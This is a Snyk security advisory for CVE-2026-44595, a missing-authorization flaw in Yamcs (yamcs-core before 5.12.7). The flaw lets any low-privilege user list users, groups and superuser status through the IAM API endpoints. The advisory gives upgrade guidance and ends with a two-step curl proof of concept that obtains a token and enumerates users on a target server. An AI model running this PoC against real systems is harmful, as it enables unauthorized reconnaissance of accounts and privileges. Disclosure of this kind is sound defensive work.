Missing Authorization Affecting org.yamcs:yamcs-core package, versions [,5.12.7)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published8 Jun 2026
- disclosed27 May 2026
- creditDaniel Miranda Barcelona
Introduced: 27 May 2026
NewCVE-2026-44595 (opens in a new tab)How to fix?
Upgrade org.yamcs:yamcs-core to version 5.12.7 or higher.
Overview
Affected versions of this package are vulnerable to Missing Authorization in the IAM API endpoints, including listUsers, getUser, listGroups, and getGroup. An attacker can retrieve sensitive user information, such as usernames, superuser status, and group memberships, by sending authenticated requests to these endpoints without possessing elevated privileges.
PoC
# Authenticate as any low-privilege user GET access_token
curl -s -X POST "http://localhost:8090/auth/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "grant_type=password&username=lowpriv&password=lowpriv123"
# Enumerate all users — no ControlAccess required
curl -s "http://TARGET:8090/api/users" \
-H "Authorization: Bearer $TOKEN" #paste access_token